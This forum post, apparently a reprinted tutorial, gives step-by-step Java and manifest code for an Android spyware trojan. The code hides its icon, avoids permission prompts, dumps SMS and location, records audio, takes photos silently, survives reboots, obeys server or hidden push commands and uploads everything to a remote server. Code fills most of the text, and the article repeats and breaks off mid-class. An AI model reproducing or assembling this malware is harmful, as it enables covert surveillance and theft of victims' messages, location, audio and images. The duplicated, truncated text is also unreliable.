How do hackers create Trojans for Android?

Lord777

Professional
Messages
2,578
Reaction score
1,532
Points
113
Content
  • 1 How to write a Trojan on Android
    • 1.1 Frame
    • 1.2 Location information
    • 1.3 List of installed applications
    • 1.4 Dump SMS
    • 1.5 Hidden audio recording
    • 1.6 Covert shooting
    • 1.7 Putting It All Together
    • 1.8 Scheduled Tasks
    • 1.9 Screen shot
    • 1.10 Start at boot
    • 1.11 Record audio on command
    • 1.12 Sending data to the server
  • 2. Conclusions
Android is commonly referred to as a breeding ground for malware. More than 8,000 new virus samples are detected here every day . And these numbers are constantly growing.
But have you ever wondered how this malware works? Today we will deal with this by examining an Android application that can collect information about the device, its location, take photos and record audio. And all this is remotely controlled.

How to write a Trojan on Android
So, our goal is to understand how modern malicious applications work. And the best way to do this is to see how similar software is created. Like the combat trojan, our example can, if desired, observe and transmit information about the target device to the server.

The Trojan's capabilities will be as follows:
  • collection of location information;
  • getting a list of installed applications;
  • receiving SMS;
  • audio recording;
  • shooting with a rear or front camera.
Our application will send all this data to a remote server, where we can analyze the results of its work.

Important! The creation and distribution of malware is punishable by up to four years in prison (Article 273). We do not want you to ruin your life in places that are not so remote, so we publish this article for educational purposes only. After all, the best way to understand how malware works is to learn how it is created.
For obvious reasons, I will not be able to provide the complete code of the application in the article, so you will have to complete some tasks yourself (this will require some knowledge in developing applications for Android).

Frame
At this stage, the task is as follows: create an application with an empty (or simply harmless) interface. Immediately after launch, the application will hide its icon, start the service, and exit (the service will continue to work).

Let's start. Create an app by specifying the following permissions in the manifest:
Code:
<uses-permission android: name = "android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android: name = "android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android: name = "android.permission.INTERNET" />
<uses-permission android: name = "android.permission.CAMERA" />
<uses-permission android: name = "android.permission.RECORD_AUDIO" />
<uses-permission android: name = "android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android: name = "android.permission.READ_PHONE_STATE" />
<uses-permission android: name = "android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android: name = "android.permission.READ_CONTACTS" />
<uses-permission android: name = "android.permission.READ_SMS" />

In "build.gradle" specify "compileSdkVersion 22" and "targetSdkVersion 22". This will save the application from having to ask for permissions while it is running (22 is Android 5.1, the mandatory request for permissions appeared in 23 - Android 6.0, but the application will work in any version).
Now create an empty Activity and Service. Add the line "return Service.START_STICKY" to the "onStartCommand" method of the service. This will force the system to restart it if it terminates unintentionally.

Add their description to the manifest (hereinafter, our application will be called com.example.app):
Code:
<activity
    android: name = "com.example.app.MainActivity"
    android: label = "@ string / app_name">
    <intent-filter>
        <action android: name = "android.intent.action.MAIN" />
        <category android: name = "android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

<service
    android: name = "com.example.app.MainService"
    android: enabled = "true"
    android: exported = "false">
</service>

We will do all the evil work inside the service, so our Activity will be very simple:
Code:
void onCreate (Bundle savedInstanceState) {
    super.onCreate (savedInstanceState)

    // Start the service
    startService (new Intent (this, MainService.class));

    // Disable Activtiy
    ComponentName cn = new ComponentName ("com.example.app", "com.example.app.MainActivity");
    pm.setComponentEnabledSetting (cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

This code will start the service immediately after starting the application and disable the activity. A side effect of the last action will be the termination of the application and the disappearance of the icon from the launcher. The service will continue to work.

Location information
Now we need to add code to the service that will collect the information we are interested in.
Let's start with locating. In Android, there are several ways to get the current coordinates of the device: GPS, cell towers, WiFi routers. And you can work with each of them in two ways: either ask the system to determine the current location and call our callback at the end of the operation, or ask the OS what coordinates were received the last time (as a result of requests to determine the location from other applications, for example) ...
In our case, the second method is much more convenient. It is fast, completely invisible to the user (does not lead to the appearance of an icon in the status bar) and does not eat up the battery. Plus,
it's very easy to use:
Code:
Location getLastLocation (Context context) {
    LocationManager lManager = (LocationManager) context.getSystemService (Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation (LocationManager.GPS_PROVIDER);
    android.location.Location locationNet = lManager.getLastKnownLocation (LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;
    if (null! = locationGPS) {GPSLocationTime = locationGPS.getTime (); }

    long NetLocationTime = 0;
    if (null! = locationNet) {NetLocationTime = locationNet.getTime (); }

    Location loc;
    if (0 <GPSLocationTime - NetLocationTime) {
        loc = locationGPS;
    } else {
        loc = locationNet;
    }

    if (loc! = null) {
        return loc;
    } else {
        return null;
    }
}

This function system asks about the latest coordinates obtained by the positioning of cellular towers and GPS, then takes the most recent data and returns it in the form of the Location object.

Next, you can extract the latitude and longitude and write them to a file inside the private directory of our application:
Code:
Location loc = getLastKnownLocation (context)
String locationFile = context.getApplicationInfo (). DataDir + "/ location"

try {
    OutputStreamWriter outputStreamWriter = new OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE_PRIVATE));
    outputStreamWriter.write (loc.getLatitude () + "" + loc.getLongitude);
    outputStreamWriter.close ();
}
catch (IOException e) {}

When it's time to send data to the server, we'll just give it this and other files.

List of installed applications
It's even easier to get a list of installed apps:
Code:
void dumpSMS (Context context) {
    String appsFile = context.getApplicationInfo (). DataDir + "/ apps"

    final PackageManager pm = context.getPackageManager ();
    List <ApplicationInfo> packages = pm.getInstalledApplications (PackageManager.GET_META_DATA);

    try {
        PrintWriter pw = Files.writeLines (appsFile);

        for (ApplicationInfo packageInfo: packages) {
            if (! isSystemPackage (packageInfo))
                pw.println (pm.getApplicationLabel (packageInfo) + ":" + packageInfo.packageName);
        }

        pw.close ();
    } catch (IOException e) {}
}

private boolean isSystemPackage (ApplicationInfo applicationInfo) {
    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)! = 0);
}

The method gets a list of all applications and saves it to the apps file inside the application's private directory.

Dump SMS
Already harder. To get a list of all saved SMS, we need to connect to the database and go through it in search of the necessary records. Code that allows you to dump all SMS to a file:
Code:
void dumpSMS (Context context, String file, String box) {
    SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH: mm: ss", Locale.US);

    Cursor cursor = context.getContentResolver (). Query (Uri.parse ("content: // sms /" + box), null, null, null, null);

    try {
        PrintWriter pw = Files.writeLines (file);

        if (cursor! = null && cursor.moveToFirst ()) {
            do {
                String address = null;
                String date = null;
                String body = null;

                for (int idx = 0; idx <cursor.getColumnCount (); idx ++) {
                    switch (cursor.getColumnName (idx)) {
                        case "address":
                            address = cursor.getString (idx);
                            break;
                        case "date":
                            date = cursor.getString (idx);
                            break;
                        case "body":
                            body = cursor.getString (idx);
                    }
                }

                if (box.equals ("inbox")) {
                    pw.println ("From:" + address);
                } else {
                    pw.println ("To:" + address);
                }

                String dateString = formatter.format (new Date (Long.valueOf (date)));

                pw.println ("Date:" + dateString);

                if (body! = null) {
                    pw.println ("Body:" + body.replace ('\ n', ''));
                } else {
                    pw.println ("Body:");
                }

                pw.println ();
            } while (cursor.moveToNext ());
        }
        pw.close ();
        cursor.close ();
    } catch (Exception e) {}
}

It should be used like this:
Code:
// Save a list of all received SMS
String inboxFile = context.getApplicationInfo (). DataDir + "/ sms_inbox"
dumpSMS (context, inboxFile, "inbox");

// Save the list of sent SMS
String sentFile = context.getApplicationInfo (). DataDir + "/ sms_sent";
dumpSMS (context, sentFile, "sent");

The entries in the file will look something like this:
Code:
From: Google
Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.

Hidden audio recording
You can record audio from a microphone using the MediaRecorder API. It is enough to pass the recording parameters to it and start it using the "start ()" method. You can stop recording using the "stop ()" method. The following code demonstrates how to do this. In this case, we use a separate sleeping thread that wakes up after a specified timeout and stops recording:
Code:
void recordAudio (String file, final int time) {
    MediaRecorder recorder = new MediaRecorder ();

    recorder.setAudioSource (MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE_GPP);
    recorder.setAudioEncoder (MediaRecorder.AudioEncoder.AMR_NB);
    recorder.setOutputFile (file);

    try {
        recorder.prepare ();
    } catch (IOException e) {}

    recorder.start ();

    Thread timer = new Thread (new Runnable () {
        @Override
        public void run () {
            try {
                Thread.sleep (time * 1000);
            } catch (InterruptedException e) {
                Log.d (TAG, "timer interrupted");
            } finally {
                recorder.stop ();
                recorder.release ();
            }
        }
    });

    timer.start ();
}

You can use it, for example, like this:
Code:
DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date ();

String filePrefix = context.getApplicationInfo (). DataDir + "/ audio-";

recordAudio (filePrefix + formatter.format (date) + ".3gp", 15);

This code will make a 15 second recording and place it in the audio-DATE-AND-TIME.3gp file.

Hidden shooting
The camera is the hardest part. First, in an amicable way, you need to be able to work with two camera APIs at once: classic and Camera2, which appeared in Android 5.0 and became the main one in 7.0. Secondly, the Camera2 API often does not work correctly in Android 5.0 and even Android 5.1, so you need to be prepared for this. Third, Camera2 is a complex and confusing API based on callbacks that are called when the camera state changes. Fourthly, neither the classic camera API nor Camera2 have any tools for covert shooting. They both require showing a preview, and this limitation will have to be circumvented with hacks.

Considering that it is much more difficult to work with Camera2, and it is not possible to describe the nuances of working with it within the framework of this article, I will just give the entire code of the class for covert shooting. And you can either use it as it is, or try to figure it out yourself (but I warn you: you will go to hell):
Code:
public class SilentCamera2 {
    private Context context;
    private CameraDevice device;
    private ImageReader imageReader;
    private CameraCaptureSession session;
    private SurfaceTexture surfaceTexture;
    private CameraCharacteristics characteristics;
    private Surface previewSurface;
    private CaptureRequest.Builder request;
    private Handler handler;

    private String photosDir;

    public SilentCamera2 (Context context) {
        this.context = context;
    }

    private final CameraDevice.StateCallback mStateCallback =
            new CameraDevice.StateCallback () {
        @Override
        public void onOpened (CameraDevice cameraDevice) {
            device = cameraDevice;

            try {
                surfaceTexture = new SurfaceTexture (10);
                previewSurface = new Surface (surfaceTexture);

                List <Surface> surfaceList = new ArrayList <> ();
                surfaceList.add (previewSurface);
                surfaceList.add (imageReader.getSurface ());

                cameraDevice.createCaptureSession (surfaceList, mCaptureStateCallback, handler);
            } catch (Exception e) {
            }
        }

        @Override
        public void onDisconnected (CameraDevice cameraDevice) {

        }

        @Override
        public void onError (CameraDevice cameraDevice, int error) {

        }
    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =
            new CameraCaptureSession.StateCallback () {
                @Override
                public void onConfigured (CameraCaptureSession captureSession) {
                    session = captureSession;

                    try {
                        request = device.createCaptureRequest (CameraDevice.TEMPLATE_PREVIEW);
                        request.addTarget (previewSurface);

                        request.set (CaptureRequest.CONTROL_AF_TRIGGER,
                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest (request.build (), mCaptureCallback, handler);
                    } catch (Exception e) {
                    }
                }

                @Override
                public void onConfigureFailed (CameraCaptureSession mCaptureSession) {}
            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =
            new CameraCaptureSession.CaptureCallback () {
        @Override
        public void onCaptureCompleted (CameraCaptureSession session,
                                     CaptureRequest request,
                                     TotalCaptureResult result) {
        }
    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
            new ImageReader.OnImageAvailableListener () {
        @Override
        public void onImageAvailable (ImageReader reader) {
            DateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss");
            Date date = new Date ();

            String filename = photosDir + "/" + dateFormat.format (date) + ".jpg";
            File file = new File (filename);

            Image image = imageReader.acquireLatestImage ();

            try {
                ByteBuffer buffer = image.getPlanes () [0] .getBuffer ();
                byte [] bytes = new byte [buffer.remaining ()];
                buffer.get (bytes);

                OutputStream os = new FileOutputStream (file);
                os.write (bytes);

                image.close ();
                os.close ();
            } catch (Exception e) {
                e.getStackTrace ();
            }

            closeCamera ();
        }
    };

    private void takePicture () {
        request.set (CaptureRequest.JPEG_ORIENTATION, getOrientation ());

        request.addTarget (imageReader.getSurface ());
        try {
            session.capture (request.build (), mCaptureCallback, handler);
        } catch (CameraAccessException e) {
        }
    }

    private void closeCamera () {
        try {
            if (null! = session) {
                session.abortCaptures ();
                session.close ();
                session = null;
            }
            if (null! = device) {
                device.close ();
                device = null;
            }
            if (null! = imageReader) {
                imageReader.close ();
                imageReader = null;
            }
            if (null! = surfaceTexture) {
                surfaceTexture.release ();
            }
        } catch (Exception e) {
        }
    }

    public boolean takeSilentPhoto (String cam, String dir) {
        photosDir = dir;
        int facing;

        switch (cam) {
            case "front":
                facing = CameraCharacteristics.LENS_FACING_FRONT;
                break;
            case "back":
                facing = CameraCharacteristics.LENS_FACING_BACK;
                break;
            default:
                return false;
        }

        CameraManager manager = (CameraManager)
                context.getSystemService (Context.CAMERA_SERVICE);

        String cameraId = null;
        characteristics = null;

        try {
            for (String id: manager.getCameraIdList ()) {
                characteristics = manager.getCameraCharacteristics (id);
                Integer currentFacing = characteristics.get (CameraCharacteristics.LENS_FACING);
                if (currentFacing! = null && currentFacing == facing) {
                    cameraId = id;
                    break;
                }
            }
        } catch (Exception e) {
            return false;
        }

        HandlerThread handlerThread = new HandlerThread ("CameraBackground");
        handlerThread.start ();
        handler = new Handler (handlerThread.getLooper ());

        imageReader = ImageReader.newInstance (1920,1080, ImageFormat.JPEG, 2);
        imageReader.setOnImageAvailableListener (mOnImageAvailableListener, handler);

        try {
            manager.openCamera (cameraId, mStateCallback, handler);
            // Wait for focus
            Thread.sleep (1000);
            takePicture ();
        } catch (Exception e) {
            Log.d (TAG, "Can't open camera:" + e.toString ());
            return false;
        }

        return true;
    }

    private int getOrientation () {
        WindowManager wm = (WindowManager) context.getSystemService (Context.WINDOW_SERVICE);
        int rotation = wm.getDefaultDisplay (). getRotation ();
        int deviceOrientation = 0;

        switch (rotation) {
            case Surface.ROTATION_0:
                deviceOrientation = 0;
                break;
            case Surface.ROTATION_90:
                deviceOrientation = 90;
                break;
            case Surface.ROTATION_180:
                deviceOrientation = 180;
                break;
            case Surface.ROTATION_270:
                deviceOrientation = 270;
                break;
        }

        int sensorOrientation = characteristics.get (CameraCharacteristics.SENSOR_ORIENTATION);
        deviceOrientation = (deviceOrientation + 45) / 90 * 90;
        boolean facingFront = characteristics.get (CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
        if (facingFront) deviceOrientation = -deviceOrientation;
        return (sensorOrientation + deviceOrientation + 360)% 360;
    }
}

This code should be called in a separate thread, passing as arguments the location of the camera ("front" - front, "back" - back) and the directory where the photos will be saved. The current date and time will be used as file names.
Code:
String cameraDir = context.getApplicationInfo (). DataDir + "/ camera /"
camera.takeSilentPhoto ("front", cameraDir);

Putting it all together
From now on, we have an application framework that starts the service and hides its presence. There is a set of functions and classes that allow you to collect information about the smartphone and its owner, as well as secretly record audio and take photos. Now you need to figure out when and under what circumstances to call them.
If we just shove the call of all these functions into the service, we get a useless "one-time application". Immediately after launch, it will find out information about the location, receive a list of applications, SMS, record audio, a snapshot, save all this to files in its private directory and fall asleep. It won't even start after a reboot.
It will become much more useful if the location determination, application dump and SMS are scheduled (say, once every half an hour), a screen capture every time the device is turned on, and audio recording is triggered by a command from the server.

Scheduled tasks
To force Android to execute our application code at specific intervals, we can use AlarmManager. First, let's write a class like this:
Code:
public class Alarm extends BroadcastReceiver {
    public static void set (Context context) {
        AlarmManager am = (AlarmManager) context.getSystemService (Context.ALARM_SERVICE);
        Intent intent = new Intent (context, Alarm.class);
        PendingIntent pIntent = PendingIntent.getBroadcast (context, 0, intent, 0);
        am.setInexactRepeating (AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime (), 30 * 60 * 1000, pIntent);
    }

    @Override
    public void onReceive (Context context, Intent intent) {
        // Your code is here
    }
}

The set () method will set an alarm that goes off every thirty minutes and triggers the onReceive () method. It is in it that you must put the code that drops the location, SMS and the list of applications into files.

Add the following line to the "onCreate ()" method of the service:
Code:
Alarm.set (this)

Screen shot
It makes no sense to take a picture every half hour. It is much more useful to take a picture with the front camera when unlocking the smartphone (you can see immediately who is using it). To do this, create the ScreenOnReceiver class:
Code:
class ScreenOnReceiver extends BroadcastReceiver () {
    @Override
    void onReceive (Context context, Intent intent) {
        // Your code is here
    }
}

And add the following lines to the manifest:
Code:
<receiver android: name = "com.example.app.ScreenOnReceiver">
    <intent-filter>
        <action android: name = "android.intent.action.ACTION_SCREEN_ON" />
    </intent-filter>
</receiver>

Startup at boot
At the moment, our application has one big problem - it will work exactly until the user reboots the smartphone. To restart the service when the smartphone boots up, let's create another receiver:
Code:
class BootReceiver extends BroadcastReceiver () {
    @Override
    void onReceive (Context context, Intent intent) {
        Intent serviceIntent = new Intent (this, MainService.class);
        startService (serviceIntent);
    }
}
And again, let's add it to the manifest:

<receiver android: name = "com.example.BootReceiver">
    <intent-filter>
        <action android: name = "android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

Record audio on command
This is a little more complicated. The easiest way to issue a command to our Trojan is to write it to a plain text file and upload this file to the server. Then put a code into the service that will, for example, check the server for the presence of a file every minute and execute the command written in it.

In code, it might look something like this:
Code:
String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient ();
Request request = new Request.Builder (). Url (url) .build ();

while (true) {
    Response response = client.newCall (request) .execute ();
    String cmd = response.body (). String ();
    cmd = cmd.trim ()
    if (cmd.equals ("record")) {
        // Make an audio recording
    }
    try {
        Thread.sleep (60 * 1000);
    } catch (InterruptedException e) {}
}

Of course, this code has a problem - if you write a command to a file on the server once, the Trojan will execute it every minute. To avoid this, it is enough to add a numeric prefix in the "X: command" format to the file and increase this prefix with each command entry. The Trojan must save this number and only execute the command if it has increased.
It is much worse that your Trojan will noticeably consume your battery. And Android (starting with the sixth version) will restrict it in this, blocking access to the Internet.
To avoid these problems, you can use a push notification service. OneSignal is perfect for this role. It's free and very easy to use. Register with the service, add a new application and follow the instructions, at the end, the van will tell you which lines need to be added to the build.gradle of the application, and also ask you to create a class like this:
Code:
class App extends Application {
    @Override
    public void onCreate () {
        super.onCreate ()
        OneSignal.startInit (this) .init ()
    }
}

But that's not all. The van also needs a service - a handler for push notifications, which will receive them and perform actions depending on the data contained in the push notification:
Code:
class OSService extends NotificationExtenderService {
    @Override
    protected boolean onNotificationProcessing (OSNotificationReceivedResult receivedResult) {
        String cmd = receivedResult.payload.body.trim ()
        if (cmd.equals ("record")) {
            // Make an audio recording
        }

        // Don't show notification
        return true
    }
}

This code interprets the line contained in the notification as a command and, if this command is record, executes the code we need. The notification itself will not appear on the screen, so the user will not notice anything.

The final touch is to add the service to the manifest:
Code:
<service
    android: name = "org.antrack.app.service.OSService"
    android: exported = "false">
    <intent-filter>
        <action android: name = "com.onesignal.NotificationExtender" />
    </intent-filter>
</service>

Sending data to the server​

Throughout this article, we've discussed how to collect data and save it to files inside a private directory. And now we are ready to upload this data to the server. This is not so difficult to do, here, for example, how you can send our photo to the server:

Code:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse ("image / jpeg");

public void uploadImage (File image, String imageName) throws IOException {
    OkHttpClient client = new OkHttpClient ();

    RequestBody requestBody = new MultipartBody.Builder (). SetType (MultipartBody.FORM)
        .addFormDataPart ("file", imageName, RequestBody.create (MEDIA_TYPE_JPEG, image))
        .build ();

    Request request = new Request.Builder (). Url ("http://com.example.com/upload")
        .post (requestBody) .build ();

    Response response = client.newCall (request) .execute ();
}

You need to call this method from the "onReceive ()" method of the Alarm class so that every thirty minutes the application sends new files to the server. The uploaded files should be deleted.
And of course, on the server side, you need to implement a handler that will handle the uploads. How to do this depends a lot on which framework and server you are using.

Conclusions
Android is a very developer-friendly OS. Therefore, you can create a trojan here using the standard API. Moreover, using the same API, its icon can be hidden from the list of applications and made to work in the background, unnoticed by the user.
Keep in mind! Although Android 8 allows applications compiled for earlier versions of Android to run in the background, it displays a notification about it. On the other hand, have you seen a lot of Android 8 smartphones in the wild?
That's all. Now you know how hackers create Trojans for Android, and we have already written about how to protect yourself from them (use the site search).
 
Content
  • 1 How to write a Trojan on Android
    • 1.1 Frame
    • 1.2 Location information
    • 1.3 List of installed applications
    • 1.4 Dump SMS
    • 1.5 Hidden audio recording
    • 1.6 Covert shooting
    • 1.7 Putting It All Together
    • 1.8 Scheduled Tasks
    • 1.9 Screen shot
    • 1.10 Start at boot
    • 1.11 Record audio on command
    • 1.12 Sending data to the server
  • 2. Conclusions
Android is commonly referred to as a breeding ground for malware. More than 8,000 new virus samples are detected here every day . And these numbers are constantly growing.
But have you ever wondered how this malware works? Today we will deal with this by examining an Android application that can collect information about the device, its location, take photos and record audio. And all this is remotely controlled.

How to write a Trojan on Android
So, our goal is to understand how modern malicious applications work. And the best way to do this is to see how similar software is created. Like the combat trojan, our example can, if desired, observe and transmit information about the target device to the server.

The Trojan's capabilities will be as follows:
  • collection of location information;
  • getting a list of installed applications;
  • receiving SMS;
  • audio recording;
  • shooting with a rear or front camera.
Our application will send all this data to a remote server, where we can analyze the results of its work.

Important! The creation and distribution of malware is punishable by up to four years in prison (Article 273). We do not want you to ruin your life in places that are not so remote, so we publish this article for educational purposes only. After all, the best way to understand how malware works is to learn how it is created.
For obvious reasons, I will not be able to provide the complete code of the application in the article, so you will have to complete some tasks yourself (this will require some knowledge in developing applications for Android).

Frame
At this stage, the task is as follows: create an application with an empty (or simply harmless) interface. Immediately after launch, the application will hide its icon, start the service, and exit (the service will continue to work).

Let's start. Create an app by specifying the following permissions in the manifest:
Code:
<uses-permission android: name = "android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android: name = "android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android: name = "android.permission.INTERNET" />
<uses-permission android: name = "android.permission.CAMERA" />
<uses-permission android: name = "android.permission.RECORD_AUDIO" />
<uses-permission android: name = "android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android: name = "android.permission.READ_PHONE_STATE" />
<uses-permission android: name = "android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android: name = "android.permission.READ_CONTACTS" />
<uses-permission android: name = "android.permission.READ_SMS" />

In "build.gradle" specify "compileSdkVersion 22" and "targetSdkVersion 22". This will save the application from having to ask for permissions while it is running (22 is Android 5.1, the mandatory request for permissions appeared in 23 - Android 6.0, but the application will work in any version).
Now create an empty Activity and Service. Add the line "return Service.START_STICKY" to the "onStartCommand" method of the service. This will force the system to restart it if it terminates unintentionally.

Add their description to the manifest (hereinafter, our application will be called com.example.app):
Code:
<activity
    android: name = "com.example.app.MainActivity"
    android: label = "@ string / app_name">
    <intent-filter>
        <action android: name = "android.intent.action.MAIN" />
        <category android: name = "android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

<service
    android: name = "com.example.app.MainService"
    android: enabled = "true"
    android: exported = "false">
</service>

We will do all the evil work inside the service, so our Activity will be very simple:
Code:
void onCreate (Bundle savedInstanceState) {
    super.onCreate (savedInstanceState)

    // Start the service
    startService (new Intent (this, MainService.class));

    // Disable Activtiy
    ComponentName cn = new ComponentName ("com.example.app", "com.example.app.MainActivity");
    pm.setComponentEnabledSetting (cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

This code will start the service immediately after starting the application and disable the activity. A side effect of the last action will be the termination of the application and the disappearance of the icon from the launcher. The service will continue to work.

Location information
Now we need to add code to the service that will collect the information we are interested in.
Let's start with locating. In Android, there are several ways to get the current coordinates of the device: GPS, cell towers, WiFi routers. And you can work with each of them in two ways: either ask the system to determine the current location and call our callback at the end of the operation, or ask the OS what coordinates were received the last time (as a result of requests to determine the location from other applications, for example) ...
In our case, the second method is much more convenient. It is fast, completely invisible to the user (does not lead to the appearance of an icon in the status bar) and does not eat up the battery. Plus,
it's very easy to use:
Code:
Location getLastLocation (Context context) {
    LocationManager lManager = (LocationManager) context.getSystemService (Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation (LocationManager.GPS_PROVIDER);
    android.location.Location locationNet = lManager.getLastKnownLocation (LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;
    if (null! = locationGPS) {GPSLocationTime = locationGPS.getTime (); }

    long NetLocationTime = 0;
    if (null! = locationNet) {NetLocationTime = locationNet.getTime (); }

    Location loc;
    if (0 <GPSLocationTime - NetLocationTime) {
        loc = locationGPS;
    } else {
        loc = locationNet;
    }

    if (loc! = null) {
        return loc;
    } else {
        return null;
    }
}

This function system asks about the latest coordinates obtained by the positioning of cellular towers and GPS, then takes the most recent data and returns it in the form of the Location object.

Next, you can extract the latitude and longitude and write them to a file inside the private directory of our application:
Code:
Location loc = getLastKnownLocation (context)
String locationFile = context.getApplicationInfo (). DataDir + "/ location"

try {
    OutputStreamWriter outputStreamWriter = new OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE_PRIVATE));
    outputStreamWriter.write (loc.getLatitude () + "" + loc.getLongitude);
    outputStreamWriter.close ();
}
catch (IOException e) {}

When it's time to send data to the server, we'll just give it this and other files.

List of installed applications
It's even easier to get a list of installed apps:
Code:
void dumpSMS (Context context) {
    String appsFile = context.getApplicationInfo (). DataDir + "/ apps"

    final PackageManager pm = context.getPackageManager ();
    List <ApplicationInfo> packages = pm.getInstalledApplications (PackageManager.GET_META_DATA);

    try {
        PrintWriter pw = Files.writeLines (appsFile);

        for (ApplicationInfo packageInfo: packages) {
            if (! isSystemPackage (packageInfo))
                pw.println (pm.getApplicationLabel (packageInfo) + ":" + packageInfo.packageName);
        }

        pw.close ();
    } catch (IOException e) {}
}

private boolean isSystemPackage (ApplicationInfo applicationInfo) {
    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)! = 0);
}

The method gets a list of all applications and saves it to the apps file inside the application's private directory.

Dump SMS
Already harder. To get a list of all saved SMS, we need to connect to the database and go through it in search of the necessary records. Code that allows you to dump all SMS to a file:
Code:
void dumpSMS (Context context, String file, String box) {
    SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH: mm: ss", Locale.US);

    Cursor cursor = context.getContentResolver (). Query (Uri.parse ("content: // sms /" + box), null, null, null, null);

    try {
        PrintWriter pw = Files.writeLines (file);

        if (cursor! = null && cursor.moveToFirst ()) {
            do {
                String address = null;
                String date = null;
                String body = null;

                for (int idx = 0; idx <cursor.getColumnCount (); idx ++) {
                    switch (cursor.getColumnName (idx)) {
                        case "address":
                            address = cursor.getString (idx);
                            break;
                        case "date":
                            date = cursor.getString (idx);
                            break;
                        case "body":
                            body = cursor.getString (idx);
                    }
                }

                if (box.equals ("inbox")) {
                    pw.println ("From:" + address);
                } else {
                    pw.println ("To:" + address);
                }

                String dateString = formatter.format (new Date (Long.valueOf (date)));

                pw.println ("Date:" + dateString);

                if (body! = null) {
                    pw.println ("Body:" + body.replace ('\ n', ''));
                } else {
                    pw.println ("Body:");
                }

                pw.println ();
            } while (cursor.moveToNext ());
        }
        pw.close ();
        cursor.close ();
    } catch (Exception e) {}
}

It should be used like this:
Code:
// Save a list of all received SMS
String inboxFile = context.getApplicationInfo (). DataDir + "/ sms_inbox"
dumpSMS (context, inboxFile, "inbox");

// Save the list of sent SMS
String sentFile = context.getApplicationInfo (). DataDir + "/ sms_sent";
dumpSMS (context, sentFile, "sent");

The entries in the file will look something like this:
Code:
From: Google
Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.

Hidden audio recording
You can record audio from a microphone using the MediaRecorder API. It is enough to pass the recording parameters to it and start it using the "start ()" method. You can stop recording using the "stop ()" method. The following code demonstrates how to do this. In this case, we use a separate sleeping thread that wakes up after a specified timeout and stops recording:
Code:
void recordAudio (String file, final int time) {
    MediaRecorder recorder = new MediaRecorder ();

    recorder.setAudioSource (MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE_GPP);
    recorder.setAudioEncoder (MediaRecorder.AudioEncoder.AMR_NB);
    recorder.setOutputFile (file);

    try {
        recorder.prepare ();
    } catch (IOException e) {}

    recorder.start ();

    Thread timer = new Thread (new Runnable () {
        @Override
        public void run () {
            try {
                Thread.sleep (time * 1000);
            } catch (InterruptedException e) {
                Log.d (TAG, "timer interrupted");
            } finally {
                recorder.stop ();
                recorder.release ();
            }
        }
    });

    timer.start ();
}

You can use it, for example, like this:
Code:
DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date ();

String filePrefix = context.getApplicationInfo (). DataDir + "/ audio-";

recordAudio (filePrefix + formatter.format (date) + ".3gp", 15);

This code will make a 15 second recording and place it in the audio-DATE-AND-TIME.3gp file.

Hidden shooting
The camera is the hardest part. First, in an amicable way, you need to be able to work with two camera APIs at once: classic and Camera2, which appeared in Android 5.0 and became the main one in 7.0. Secondly, the Camera2 API often does not work correctly in Android 5.0 and even Android 5.1, so you need to be prepared for this. Third, Camera2 is a complex and confusing API based on callbacks that are called when the camera state changes. Fourthly, neither the classic camera API nor Camera2 have any tools for covert shooting. They both require showing a preview, and this limitation will have to be circumvented with hacks.

Considering that it is much more difficult to work with Camera2, and it is not possible to describe the nuances of working with it within the framework of this article, I will just give the entire code of the class for covert shooting. And you can either use it as it is, or try to figure it out yourself (but I warn you: you will go to hell):
Code:
public class SilentCamera2 {
    private Context context;
    private CameraDevice device;
    private ImageReader imageReader;
    private CameraCaptureSession session;
    private SurfaceTexture surfaceTexture;
    private CameraCharacteristics characteristics;
    private Surface previewSurface;
    private CaptureRequest.Builder request;
    private Handler handler;

    private String photosDir;

    public SilentCamera2 (Context context) {
        this.context = context;
    }

    private final CameraDevice.StateCallback mStateCallback =
            new CameraDevice.StateCallback () {
        @Override
        public void onOpened (CameraDevice cameraDevice) {
            device = cameraDevice;

            try {
                surfaceTexture = new SurfaceTexture (10);
                previewSurface = new Surface (surfaceTexture);

                List <Surface> surfaceList = new ArrayList <> ();
                surfaceList.add (previewSurface);
